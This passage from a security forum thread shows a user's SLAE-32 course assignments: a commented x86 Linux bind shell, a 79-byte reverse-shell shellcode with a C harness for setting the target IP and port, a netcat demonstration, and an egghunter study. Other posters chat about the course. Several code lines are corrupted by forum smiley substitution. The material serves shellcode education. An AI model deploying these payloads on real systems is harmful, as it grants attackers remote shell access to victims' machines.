    }

    /* Assembly source of shellcode:

    global _start

    section .text
    _start:
    ; parameters for SOCKET(2) are placed on the stack in reverse order
    ; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
    ; Before instruction "int 0x80" the stack should look like:
    ; 02 00 00 00 01 00 00 00 00 00 00 00
    ; ^AF_INET ^S_STREAM ^TCP

    xor eax, eax ; EAX = 00000000
    push eax ; PUSH 00000000 (TCP)
    inc eax ; EAX = 00000001
    push eax ; PUSH 00000001 (SOCK_STREAM)
    pop ebx ; EBX = 00000001 (SOCKETCALL.SOCKET)
    push eax ; PUSH 00000001 (SOCK_STREAM)
    inc eax ; EAX = 00000002
    push eax ; PUSH 00000002 (AF_INET)

    ; invoke socketcall to create the socket
    mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)

    mov ecx, esp ; ECX = points to top of stack (0xBFFFF3E4)

    int 0x80 ; SYSCALL SOCKETCALL(2)-SOCKET(2)

    xchg edi, eax ; store fd in edi

    ; parameters for BIND(2) are placed on the stack in reverse order
    ; BIND(2) Synopsis: int bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
    ; Before instruction "int 0x80" the stack should look like:
    ; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 00 00 00 00
    ; ^FD ^ ^structlen ^AFNT ^port ^in_addr
    ; | PTR to

    ^

    pop ebx ; EBX = 00000002 (SOCKETCALL.BIND)
    pop eax ; EAX = 00000001
    ; Note: Stack = 00000000
    mov ax, 0xB315 ; EAX = 0000B315 (5555 reversed)
    push ax ; PUSH B315 (sockaddr_2)
    push bx ; PUSH 0002 (sockaddr_3)
    mov ecx, esp ; ECX = ESP (0xBFFFF3Eicon_cool.gif
    xor eax, eax ; EAX = 00000000
    mov al, 0x10 ; EAX = 00000010
    push eax ; PUSH 00000010 (len(sockaddr))
    push ecx ; PUSH (*ADDR) (ptr to sockaddr)
    push edi ; push (FD) (SOCKFD)

    ; invoke socketcall to bind the socket to IP and port
    mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
    mov ecx, esp ; ECX = points to top of stack (0xBFFFF3DC)

    int 0x80 ; SYSCALL SOCKETCALL(2)-BIND(2)

    ; parameters for LISTEN(2) are placed on the stack in reverse order
    ; LISTEN(2) Synopsis: listen(int sockfd, int backlog)
    ; Before instruction "int 0x80" the stack should look like:
    ; 07 00 00 00 00 00 00 00
    ; ^FD ^Backlog = 0

    ; Note that EAX = 00000000 due to return code from SOCKETCALL above
    push eax ; PUSH 00000000 (Backlog)
    push edi ; PUSH (FD) (SOCKFD)

    ; invoke socketcall to set the socket in listen mode
    mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
    inc ebx ; EBX = 00000003
    inc ebx ; EBX = 00000004 (SOCKETCALL.LISTEN)
    mov ecx, esp ; ECX = points to top of stack (0xBFFFF3D4)
    int 0x80 ; SYSCALL SOCKETCALL(2)-LISTEN(2)
    ; Note: The selected port is opened on the system and listening

    ; parameters for ACCEPT(2) are placed on the stack in reverse order
    ; ACCEPT(2) Synopsis: int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
    ; Before instruction "int 0x80" the stack should look like:
    ; 07 00 00 00 00 00 00 00 00 00 00 00

    ; Note that EAX is set to 0 upon successful execution of SOCKETCALL.LISTEN
    ; Note that stack at 0xBFFFF3D4 already contains what I need:
    ; 07 00 00 00 00 00 00 00 00 00 00 00
    ; invoke socketcall to set the socket to accept connections
    mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
    inc ebx ; EBX = 00000005 (SOCKETCALL.ACCEPT)
    int 0x80 ; SYSCALL SOCKETCALL(2)-ACCEPT(2)

    ; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
    ; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
    xchg eax, ebx ; EBX = CFD, EAX = 00000005
    xchg ecx, edi ; ECX = 00000007
    ; XCHG ECX, EDI saves us having to zero out ecx and then MOV 3

    redirect:
    dec ecx ; ECX = 00000002 (eventually)
    mov al, 0x3f ; DUP2(2) (3 times - ECX=2, ECX=1, ECX=0)
    int 0x80 ; SYSCALL DUP2(2) (ECX=2, ECX=1, ECX=0)
    jnz redirect ;

    ; spawn /bin/sh shell
    ; Note that EAX is set to 00000000 upon last succesful execution of DUP2
    push eax ; PUSH 00000000 (NULL byte)
    pop ecx ; ECX = 00000000 (EXECVE ARGV)
    push eax ; PUSH 00000000 (NULL byte)
    pop edx ; EDX = 00000000 (EXECVE ENVP)

    ; push '/bin//sh, 0' on stack
    push eax ; PUSH 00000000 (NULL byte)
    mov al, 0xb ; EXECVE(2)
    push 0x68732f2f ; "//sh"
    push 0x6e69622f ; "/bin"

    xchg esp, ebx ; Save a byte by sacrificing unneeded ESP

    int 0x80 ; Start /bin/sh in the client socket FD
    */

    /*===================================================================*/
  • JollyFrogsJollyFrogs Member Posts: 97 ■■□□□□□□□□
    I plan to complete at least one assignment each weekend. I won't have time to do any assignments during the week due to work commitments. The first assignment took a long time to complete (2 days) but this is mainly due to my excessive commenting and need to understand every single line of code. Assignment 2 should be easier and possibly shorter in code; I plan to complete it this weekend.
  • ITSpectreITSpectre Member Posts: 1,040 ■■■■□□□□□□
    +10
    Subbing to this thread so I don't miss anything.
    In the darkest hour, there is always a way out - Eve ME3 :cool:
    “The measure of an individual can be difficult to discern by actions alone.” – Thane Krios
  • the_Grinchthe_Grinch Member Posts: 4,164 ■■■■■■■■■■
    Awesome!!!! Thanks for the review and can't wait to see your PASSED post!
    WIP:
    PHP
    Kotlin
    Intro to Discrete Math
    Programming Languages
    Work stuff
  • JollyFrogsJollyFrogs Member Posts: 97 ■■□□□□□□□□
    I completed assignment 2 today! Reusing the code from assignment 1 was helpful, only a few small challenges here mainly with setting the IP address via the c code:

    Assignment #2:
    - Create a shell_reverse_tcp assembly shellcode which:
    - Reverse connects to configured IP and Port
    - Execs shell on successful connection
    - IP and Port should be easily configurable
    ==========================================
    ==========================================

    Similar to assignment #1 where we were asked to write a bind-shell, assignment #2 focuses on the more useful reverse shell. I'll be reusing much of the code of assignment #1 for this exercise and will use it as a starting point.

    $ man 2 connect
    The connect() system call connects the socket referred to by the file
    descriptor sockfd to the address specified by addr. The addrlen argu‐
    ment specifies the size of addr. The format of the address in addr is
    determined by the address space of the socket sockfd; see socket(2) for
    further details.

    In summary, this is what we need to do to create a reverse shell:
    - create socket
    - connect to a remote IP and remote port
    - Pass /bin/sh to new client socket using execve

    We'll modify the existing bindshell.nasm code from assignment #1 as follows:

    ;======================================================================
    ; rshell1.nasm
    ;
    global _start

    section .text
    _start:
    ; parameters for SOCKET(2) are placed on the stack in reverse order
    ; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
    ; Before instruction "int 0x80" the stack should look like:
    ; 02 00 00 00 01 00 00 00 00 00 00 00
    ; ^AF_INET ^S_STREAM ^TCP

    xor eax, eax ; set EAX to 00000000
    push eax ; PUSH 00000000 (TCP)
    inc eax ; EAX = 00000001
    push eax ; PUSH 00000001 (SOCK_STREAM)
    inc eax ; EAX = 00000002
    push eax ; PUSH 00000002 (AF_INET)

    ; invoke socketcall to create the socket
    mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
    xor ebx, ebx ; EBX = 00000000
    inc ebx ; EBX = 00000001 (SOCKETCALL.SOCKET)
    mov ecx, esp ; ECX = points to top of stack
    int 0x80 ; SYSCALL SOCKETCALL(2)-SOCKET(2)
    mov edi, eax ; store fd in edi

    ; parameters for CONNECT(2) are placed on the stack in reverse order
    ; CONNECT(2) Synopsis: int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
    ; Before instruction "int 0x80" the stack should look like:
    ; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 7F 01 01 01
    ; ^FD ^ ^structlen ^AFNT ^port ^out_addr
    ; | PTR to
    ^

    pop ebx ; EBX = 00000002
    mov eax, 0x0101017F ; EAX = 0101017F (127.1.1.1 reversed)
    push eax ; PUSH 0101017F (sockaddr_1 = 127.1.1.1)
    mov ax, 0xB315 ; EAX = 0000B315 (5555 reversed)
    push ax ; PUSH B315 (sockaddr_2 = 5555)
    push bx ; PUSH 0002 (sockaddr_3 = 2)
    inc ebx ; EBX = 00000003 (SOCKETCALL.CONNECT)
    mov ecx, esp ; ECX = ESP
    xor eax, eax ; EAX = 00000000
    mov al, 0x10 ; EAX = 00000010
    push eax ; PUSH 00000010 (len(sockaddr))
    push ecx ; PUSH (*ADDR) (ptr to sockaddr)
    push edi ; push (FD) (SOCKFD)

    ; invoke socketcall to connect the socket to IP and port
    mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
    mov ecx, esp ; ECX = points to top of stack

    int 0x80 ; SYSCALL SOCKETCALL(2)-CONNECT(2)

    ; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
    ; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
    xchg edi, ebx ; EBX = FD (SOCKFD)
    xor ecx, ecx ; ECX = 00000000
    mov cl, 3 ; ECX = 00000003

    redirect:
    dec ecx ; ECX = 00000002
    mov al, 0x3f ; DUP2(2) (3 times - ECX=2, ECX=1, ECX=0)
    int 0x80 ; SYSCALL DUP2(2) (ECX=2, ECX=1, ECX=0)
    jnz redirect ;

    ; spawn /bin/sh shell
    salc ; EAX = 00000000
    push eax ; PUSH 00000000 (NULL byte)
    pop ecx ; ECX = 00000000 (EXECVE ARGV)
    push eax ; PUSH 00000000 (NULL byte)
    pop edx ; EDX = 00000000 (EXECVE ENVP)

    ; push '/bin//sh, 0' on stack
    push eax ; PUSH 00000000 (NULL byte)
    mov al, 11 ; EXECVE(2)
    push 0x68732f2f ; "//sh"
    push 0x6e69622f ; "/bin"

    mov ebx, esp ; ptr to "/bin//sh" string

    int 0x80 ; Start /bin/sh in the socket FD
    ;======================================================================

    $ ./compile.sh rshell1
    [+] Assembling with Nasm ...
    [+] Linking ...
    [+] Done!
    $ gdb rshell1 -ex 'break _start' -ex 'run' -ex 'display/32b $esp'



    The code can be optimized in a similar way as assignment 1:

    ;======================================================================
    ; Filename: rshell2.nasm
    ; Author: JollyFrogs ([email protected])
    ; Purpose: This shellcode creates a /bin/sh TCP reverse shell to port 5555
    ; Size: 79 Bytes
    ;
    ; License: This work is licensed under a Creative Commons
    ; Attribution-NonCommercial 4.0 International License.
    ;
    ; To change the port, change the bytes "\x15\xb3" (5555 in reverse order)
    ; To change the IP, change "\x7f\x01\x01\x01" (127.1.1.1 in reverse order)
    ;
    ; Compilation:
    ; nasm -f elf32 -o rshell2.o rshell2.nasm | ld -o rshell2 rshell2.o

    global _start

    section .text
    _start:
    ; Note: parameters are placed on the stack in reverse order due to little endianness
    ;
    ; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
    ; Before instruction "int 0x80" the stack should look like:
    ; 02 00 00 00 01 00 00 00 00 00 00 00
    ; ^AF_INET ^S_STREAM ^TCP

    xor eax, eax ; EAX = 00000000
    push eax ; PUSH 00000000 (TCP)
    inc eax ; EAX = 00000001
    push eax ; PUSH 00000001 (SOCK_STREAM)
    pop ebx ; EBX = 00000001 (SOCKETCALL.SOCKET)
    push eax ; PUSH 00000001 (SOCK_STREAM)
    inc eax ; EAX = 00000002
    push eax ; PUSH 00000002 (AF_INET)

    ; invoke socketcall to create the socket
    mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
    mov ecx, esp ; ECX = points to top of stack (0xBFFFF3E4)
    int 0x80 ; SYSCALL SOCKETCALL(2)-SOCKET(2)
    xchg edi, eax ; store fd in edi

    ; parameters for CONNECT(2) are placed on the stack in reverse order
    ; CONNECT(2) Synopsis: int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
    ; Before instruction "int 0x80" the stack should look like:
    ; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 7F 01 01 01
    ; ^FD ^ ^structlen ^AFNT ^port ^out_addr
    ; | PTR to
    ^

    mov eax, 0x0101017F ; EAX = 0101017F (127.1.1.1 reversed)
    push eax ; PUSH 0101017F (127.1.1.1)

    mov ax, 0xB315 ; EAX = 0000B315 (5555 reversed)
    inc ebx ; EBX = 00000002
    push ax ; PUSH B315 (sockaddr_2)
    push bx ; PUSH 0002 (sockaddr_3)
    inc ebx ; EBX = 00000002 (SOCKETCALL.CONNECT)

    mov ecx, esp ; ECX = ESP (0xBFFFF3Eicon_cool.gif
    xor eax, eax ; EAX = 00000000
    mov al, 0x10 ; EAX = 00000010
    push eax ; PUSH 00000010 (len(sockaddr))
    push ecx ; PUSH (*ADDR) (ptr to sockaddr)
    push edi ; push (FD) (SOCKFD)

    ; invoke socketcall to connect the socket to IP and port
    mov al, 0x66 ; EAX = 00000066 (SOCKETCALL)
    mov ecx, esp ; ECX = points to top of stack (0xBFFFF3DC)

    int 0x80 ; SYSCALL SOCKETCALL(2)-CONNECT(2)

    ; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
    ; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
    xchg ecx, ebx ; ECX = 00000003
    xchg ebx, edi ; EBX = SOCKFD
    ; XCHG ECX, EBX saves having to zero ecx and set it to 3

    reduceecxtozero:
    dec ecx ; ECX = 00000002 (then 00000001, then 00000000)
    mov al, 0x3f ; EAX = 0000003F DUP2(2) (ECX 2=stderr,1=stdout,0=stdin)
    int 0x80 ; SYSCALL DUP2(2)
    jnz reduceecxtozero ; Until ECX = 0 meaning stdin was DUP2'd

    ; spawn /bin/sh shell
    ; Note that EAX is set to 00000000 upon last succesful execution of DUP2
    push eax ; PUSH 00000000 (NULL byte)
    push eax ; PUSH 00000000 (NULL byte)
    pop ecx ; ECX = 00000000 (EXECVE ARGV)
    pop edx ; EDX = 00000000 (EXECVE ENVP)

    ; push '/bin//sh, 0' on stack
    push eax ; PUSH 00000000 (NULL byte)
    mov al, 0xb ; EXECVE(2)
    push 0x68732f2f ; "//sh"
    push 0x6e69622f ; "/bin"
    xchg esp, ebx ; Save a byte by sacrificing unneeded ESP
    int 0x80 ; Start /bin/sh in the client socket FD
    ;======================================================================

    $ objdump -d ./rshell2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -dicon_neutral.gifcut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
    OUTPUT: "\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97\xb8\x7f\x01\x01\x01\x50\x66\xb8\x15\xb3\x43\x66\x50\x66\x53\x43\x89\xe1\x31\xc0\xb0\x10\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x87\xcb\x87\xdf\x49\xb0\x3f\xcd\x80\x75\xf9\x50\x50\x59\x5a\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xcd\x80"

    I reused the code from assignment 1, and added an option to easily set the IP

    /*===================================================================*/
    /*
    Filename: rshell.c
    Author: JollyFrogs ([email protected])

    License: This work is licensed under a Creative Commons
    Attribution-NonCommercial 4.0 International License.

    Compile:
    gcc -m32 -fno-stack-protector -z execstack rshell.c -o rshell

    Shellcode size: 79 Bytes
    */

    #include <stdio.h>
    #include <string.h>
    #include <ctype.h>
    #include <stdbool.h>

    unsigned char shellcode[] = \
    "\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97"
    "\xb8\x7f\x01\x01\x01\x50\x66\xb8\x15\xb3\x43\x66\x50\x66\x53\x43"
    "\x89\xe1\x31\xc0\xb0\x10\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x87"
    "\xcb\x87\xdf\x49\xb0\x3f\xcd\x80\x75\xf9\x50\x50\x59\x5a\x50\xb0"
    "\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xcd\x80";

    static bool shellcode_zerocheck() {
    // initialize counter
    int i = 0;
    // check each byte in shellcode array for hexidecimal zero value, return false if zero found
    for(i = 0; i < sizeof(shellcode)-1; i++) {
    if (shellcode == '\x00') {
    printf("Zero found in shellcode at position %i\n",i);
    return false;
    }
    }
    // Return true if no zeroes found
    return true;
    }

    static bool shellcode_settargetport(char *buf, int port) {
    // Check if decimal port is valid
    if (port<1024 || port>65535) return false;
    // The offset of the port is 21, but reduce by 1 since the array counts from 0
    int port_offset = 24; // (\x15\xb3)
    // convert decimal port to hexidecimal
    *(short *)(buf+port_offset) = port; // (\x15\xb3) - shellcode array counts from 0
    // Swap port bytes to accomodate for Little Endian memory structure
    char tmp = buf[port_offset];
    buf[port_offset] = buf[port_offset+1];
    buf[port_offset+1] = tmp;
    // Check if the hexidecimal port contains zeroes, if it does then show an error
    if (shellcode[port_offset] == '\x00' || shellcode[port_offset+1] == '\x00') {
    printf("port HEX contains zeroes\n"); return false;
    }
    // Return true if all checks passed
    return true;
    }

    static bool shellcode_settargetip(char *buf, char *ip) {
    int ip_offset = 17; // (\x7f\x01\x01\x01\)
    unsigned char value[4] = {0};
    size_t index = 0;
    while (*ip) {
    if (isdigit((unsigned char)*ip)) {
    value[index] *= 10;
    value[index] += *ip - '0';
    } else {
    index++;
    }
    ip++;
    }
    // check each byte in shellcode array for hexidecimal zero value, return false if zero found
    int i = 0; for(i = 0; i < 4; i++) {
    *(char *)(buf+ip_offset+i) = value;
    if (shellcode[ip_offset+i] == '\x00'){printf("port HEX contains zeroes\n"); return false;}
    }
    // Return true if all checks passed
    return true;
    }

    main () {
    // Port in decimal - should be higher than 1024 and lower than 65536
    int targetport = 1234;
    char *targetip = "127.1.1.1";
    // Basic error checking
    if (!shellcode_settargetport(shellcode, targetport)) {printf("ERROR: Invalid targetport\n");return 0;}
    if (!shellcode_settargetip(shellcode, targetip)) {printf("ERROR: Invalid targetip\n");return 0;}
    if (!shellcode_zerocheck()) {printf("ERROR: Shellcode contains zeroes\n");return 0;}
    // Print shellcode length.
    printf("Shellcode Length: %d\n", strlen(shellcode));
    // Run assembly commands
    __asm__ (
    // Initialize registers
    "movl $0x12345678, %eax\n\t"
    "movl $0x12345678, %ebx\n\t"
    "movl $0x12345678, %ecx\n\t"
    "movl $0x12345678, %edx\n\t"
    "movl $0x12345678, %edi\n\t"
    "movl $0x12345678, %esi\n\t"
    "movl $0x12345678, %ebp\n\t"
    // execute shellcode
    "jmp shellcode");
    }

    /*
    Disassembly of section .text:

    08048060 <_start>:
    8048060: 31 c0 xor %eax,%eax
    8048062: 50 push %eax
    8048063: 40 inc %eax
    8048064: 50 push %eax
    8048065: 5b pop %ebx
    8048066: 50 push %eax
    8048067: 40 inc %eax
    8048068: 50 push %eax
    8048069: b0 66 mov $0x66,%al
    804806b: 89 e1 mov %esp,%ecx
    804806d: cd 80 int $0x80
    804806f: 97 xchg %eax,%edi
    8048070: b8 7f 01 01 01 mov $0x101017f,%eax
    8048075: 50 push %eax
    8048076: 66 b8 15 b3 mov $0xb315,%ax
    804807a: 43 inc %ebx
    804807b: 66 50 push %ax
    804807d: 66 53 push %bx
    804807f: 43 inc %ebx
    8048080: 89 e1 mov %esp,%ecx
    8048082: 31 c0 xor %eax,%eax
    8048084: b0 10 mov $0x10,%al
    8048086: 50 push %eax
    8048087: 51 push %ecx
    8048088: 57 push %edi
    8048089: b0 66 mov $0x66,%al
    804808b: 89 e1 mov %esp,%ecx
    804808d: cd 80 int $0x80
    804808f: 87 cb xchg %ecx,%ebx
    8048091: 87 df xchg %ebx,%edi

    08048093 <reduceecxtozero>:
    8048093: 49 dec %ecx
    8048094: b0 3f mov $0x3f,%al
    8048096: cd 80 int $0x80
    8048098: 75 f9 jne 8048093 <reduceecxtozero>
    804809a: 50 push %eax
    804809b: 50 push %eax
    804809c: 59 pop %ecx
    804809d: 5a pop %edx
    804809e: 50 push %eax
    804809f: b0 0b mov $0xb,%al
    80480a1: 68 2f 2f 73 68 push $0x68732f2f
    80480a6: 68 2f 62 69 6e push $0x6e69622f
    80480ab: 87 e3 xchg %esp,%ebx
    80480ad: cd 80 int $0x80
    */

    /*===================================================================*/


    By listening on port 1234 on all ip addresses (local IP) we set up the reverse shell:

    $ gcc -m32 -fno-stack-protector -z execstack rshell.c -o rshell
    [email protected]:~$ nc -lv 1234
    $ ./rshell
    OUTPUT: Connection from 127.0.0.1 port 1234 [tcp/*] accepted

    Note that if no listener is set up, we get a segmentation fault: This is due to trying to create /bin/sh in a non-existant file descriptor.
  • JollyFrogsJollyFrogs Member Posts: 97 ■■□□□□□□□□
    btw I'll be posting all the source-codes in a github as well. I noticed that some of the code is actually changed by smilies. I'll post the github location as soon as I create it.
  • wd40wd40 CISA, eJPT, MCP, MCTS, CompTIA x 6 Member Posts: 1,011 ■■■■□□□□□□
    Thanks for the great review, small question, why did you choose 32bit assembly and not 64bit?

    Most servers (and a significant percentage of PC's) these days will be 64bit.
  • JollyFrogsJollyFrogs Member Posts: 97 ■■□□□□□□□□
    wd40 wrote: »
    Thanks for the great review, small question, why did you choose 32bit assembly and not 64bit?

    Most servers (and a significant percentage of PC's) these days will be 64bit.

    Hi WD,

    True. This is something that Vivek, in this course, also addresses. One reason for me is that I think the OSCE will likely focus on 32-bit. Also, there are still plenty of 32-bit machines and apps out there that use 32-bit. It's a logical progression to start on 32-bit and then move on to 64-bit later. Many of the concepts explained (CPU/registers/memory etc) apply whether 32 or 64 bit.
  • SlythSlyth Member Posts: 58 ■■■□□□□□□□
    Hi JollyFrogs! You will enjoy the course, Vivek does very well in teaching 32bit ASM. I took this course prior to OSCP and it did help through the BOF section(probably 40 minutes for the windows/Linux exercises + the extra miles). I plan on going back over it after i completed OSCP. Enjoy!
  • BlackBeretBlackBeret Member Posts: 684 ■■■■■□□□□□
    Great write-up, thank you for the information. I've been eyeballing this course and used security tube when I was taking the OSCP to learn more about assembly. Can I ask where you found the free option for blasting it out on social media? I already follow them on all of my accounts and would be interested in that, unless it was a promotional deal and is gone, I can't seem to find it anywhere.
  • the_Grinchthe_Grinch Member Posts: 4,164 ■■■■■■■■■■
    x86/64 Assembly and Shellcoding on Linux « SecurityTube Training <----Looks like they do have a 64bit course now :)
    WIP:
    PHP
    Kotlin
    Intro to Discrete Math
    Programming Languages
    Work stuff
  • BlackBeretBlackBeret Member Posts: 684 ■■■■■□□□□□
    Were the videos the same ones from the normal site? http://www.securitytube.net/groups?operation=view&groupId=5

    It still seems that the course is worth it for the exercises, but if the videos are the same it might be a good start before purchasing the course.
  • SaSkillerSaSkiller OSWP, GPEN, GWAPT, GCIH Member Posts: 337 ■■■□□□□□□□
    Nice, I have access to SLAE, but doing it is pretty far off right now.
    OSWP, GPEN, GWAPT, GCIH, CPT, CCENT, CompTIA Trio.
  • JollyFrogsJollyFrogs Member Posts: 97 ■■□□□□□□□□
    I had a small dilemma this weekend.. I'm currently doing 4 things that compete for my time:
    - a small CTF event
    - the SLAE-32 course assignments
    - a zero-day that I and a colleague found last week in a popular device (working for manufacturer now)
    - a big project at work that requires my time

    All of the above fall in the infosec category. I've decided to focus my time on the SLAE course assignments although some of the above are good fun (and probably fall a little bit in the procrastination category). Once I have completed the assignments, I can refocus my time on the other items. The CTF event will start on the 24th and lasts only 2 days; I do have a reservation for it, but I doubt I'll be able to spend any time on it since it falls on weekdays and other items have priority.

    So today, I work on Assignment #3 :)
  • JollyFrogsJollyFrogs Member Posts: 97 ■■□□□□□□□□
    Assignment #3:
    - Study Egg Hunter shellcode
    - Create a working demo of an egghunter
    - The egg hunter should be configurable for different payloads
    =============================================

    Looking on exploit-db.com, there are various egghunter shellcodes available. Most come with detailed explanations of how they work. The goal of this assignment is to study the shellcode to figure out how egghunters work. Upon reading generic egghunter shellcodes, the goal of egghunters is simple: Tag large shellcode with an "egg", and use a very small piece of code - the egg hunter - to find the egg and jump to the egg to execute the shellcode. The reason for egg hunting code is that sometimes, there isn't enough space in memory to store a large piece of exploit code: With an egg hunter, you can store shellcode in any part of memory using other techniques than the actual vulnerability in a program - for instance via program parameters - , search for it, then execute it.


    I found the following PDF which details how egg hunters work:
    http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf

    I then found the following exploit which uses an egghunter:
    https://www.exploit-db.com/exploits/37749/


    /* ==================================================================== */
    /*
    Title: Linux x86 Egg Hunter Shellcode (19 bytes)
    Date: 4 August 2015
    Author: Guillaume Kaddouch
    Website: http://networkfilter.blogspot.com
    Twitter: @gkweb76
    Tested on: Ubuntu 14.04.2 LTS x86, Kali Linux 1.0.9 x86

    This code was created as an exercise for the SecurityTube Linux Assembly Expert (SLAE).

    Egg signature = 0x50905090 (push eax, nop, push eax, nop)
    Usually egg hunters use a 2 * 4 bytes (8 bytes) egg because the first address check could match the hardcoded egg signature in
    the egg hunter itself. As we do not store hardcoded egg signature below, it allows us to check only 4 bytes once.

    egg-hunter.asm:

    global _start

    section .text

    _start:
    mov eax, addr ; retrieve a valid address (shorter than using JMP CALL POP)
    mov ebx, dword 0x5090508f ; egg signature altered: 0x50905090 - 1
    inc ebx ; fix egg signature in ebx (the purpose is to not store the hardcoded egg signature)

    next_addr:
    inc eax ; increasing memory address to look at next address
    cmp dword [eax], ebx ; check if our egg is at that memory address, if yes set ZF = 1
    jne next_addr ; if ZF = 0 (check failed), then jump to next_addr to check next address
    jmp eax ; we found our egg (ZF = 1), jump at this address

    addr: db 0x1
    */

    /*
    myegg1.c:
    Compile with: gcc -fno-stack-protector -z execstack myegg1.c -o myegg1
    */

    #include<stdio.h>
    #include<string.h>

    // Egg hunter 19 bytes (\x00 \x0a \x0d free)
    unsigned char egghunter[] = \
    "\xb8\x72\x80\x04\x08\xbb\x8f\x50\x90\x50\x43\x40\x39\x18\x75"
    "\xfb\xff\xe0\x01";

    // Print 'Egg Found!!' on screen
    // You can swap it out with any shellcode you like (as long as you keep the egg mark)
    unsigned char shellcode[] = \
    "\x90\x50\x90\x50" // egg mark
    "\xeb\x16\x59\x31\xc0\x50\xb0\x04\x31\xdb\xb3\x01\x31\xd2\xb2"
    "\x0c\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xe5\xff\xff\xff\x45"
    "\x67\x67\x20\x46\x6f\x75\x6e\x64\x21\x21\x0a";

    main()
    {
    printf("Egg hunter shellcode Length: %d\n", strlen(egghunter));
    int (*ret)() = (int(*)())egghunter;
    ret();
    }
    /* ==================================================================== */

    [email protected]:~/SLAE/exam/assignment-3$ gcc -fno-stack-protector -z execstack myegg1.c -o myegg1
    [email protected]:~/SLAE/exam/assignment-3$ ./myegg1
    Egg hunter shellcode Length: 19
    Egg Found!!
    [email protected]:~/SLAE/exam/assignment-3$

    [email protected]:~/SLAE/exam/assignment-3$ echo -n $'\xb8\x72\x80\x04\x08\xbb\x8f\x50\x90\x50\x43\x40\x39\x18\x75\xfb\xff\xe0\x01' | ndisasm -u -
    00000000 B872800408 mov eax,0x08048072
    00000005 BB8F509050 mov ebx,0x5090508f
    0000000A 43 inc ebx
    0000000B 40 inc eax
    0000000C 3918 cmp [eax],ebx
    0000000E 75FB jnz 0xb
    00000010 FFE0 jmp eax
    00000012 01 db 0x01
    [email protected]:~/SLAE/exam/assignment-3$

    I analyze each line in the code:

    00000000 B872800408 mov eax,0x08048072
    Set EAX to the base address of Linux programs

    00000005 BB8F509050 mov ebx,0x5090508f
    Set EBX to a value that will become the egg in the next instruction

    0000000A 43 inc ebx
    Set EBX to 0x50905090 which is the real egg

    The egg code, when executed, does nothing damaging to the execution of the program except for stack corruption:
    [email protected]:~/SLAE/exam/assignment-3$ echo -n $'\x90\x50\x90\x50' | ndisasm -u -
    00000000 90 nop
    00000001 50 push eax
    00000002 90 nop
    00000003 50 push eax
    So if we executed the egg itself, nothing bad would happen except for some stack corruption. If we want a stack-neutral egg, a better option might be to first push eax, then pop it in the next instruction.

    0000000B 40 inc eax
    Increase EAX by one - this will be jumped to later when searching for the egg

    0000000C 3918 cmp [eax],ebx
    Compare the egg in EBX, with the code pointed to by EAX

    0000000E 75FB jnz 0xb
    If the egg isn't found at EAX, jump to 0000000B to search the next address

    00000010 FFE0 jmp eax
    If the egg is found, then jump to EAX - which is the egg

    00000012 01 db 0x01
    This byte is used by the very first instruction to dynamically determine the base memory address at compilation time

    $ gdb myegg1 -ex 'break *0x804a040' -ex 'run' -ex 'display/32b $esp'

    So now that we know how egghunters work, we can create our own; let the fun begin!

    Now, we need to find a good way to encode our egg value. We can't store the egg directly in our code, because if we do then our egghunter is going to find the egg in the egghunting code instead of the actual shellcode.

    There is a nice function SHL and SHL which bit-shifts a value. Effectively a SHL by 1 multiplies the register value by 2, a SHR divides by 2.

    ;=============================================================================
    ; egghunter1.nasm
    ; egg: \x02\x04\x08\x10

    global _start

    section .text

    _start:
    ;mov edi, 0x08048072 ; Linux base address
    mov edi, eip

    restart_search:
    mov al, byte 0x02
    egg_not_found:
    scasb ; compare byte at EDI with al, increase EDI if not
    jne egg_not_found
    egg_possibly_found:
    shl al, 0x1 ; eax = 02 -> 04 -> 08 -> 10
    cmp al, 0x20 ; eax will only ever be 20 if \x02\x04\x08\x10 is found
    je egg_found
    scasb ; compare byte at EDI with al, increase EDI if not
    jne restart_search ; if this isn't the egg, then restart search
    egg_found:
    jmp edi ; jump to shellcode
    ;=============================================================================

    $ ./compile.sh egghunter1
    $ objdump -d ./egghunter1|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -dicon_neutral.gifcut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
    OUTPUT: "\xbf\x72\x80\x04\x08\xb0\x02\xae\x75\xfd\xd0\xe0\x3c\x20\x74\x03\xae\x75\xf2\xff\xe7"

    Let's try our new egghunter!

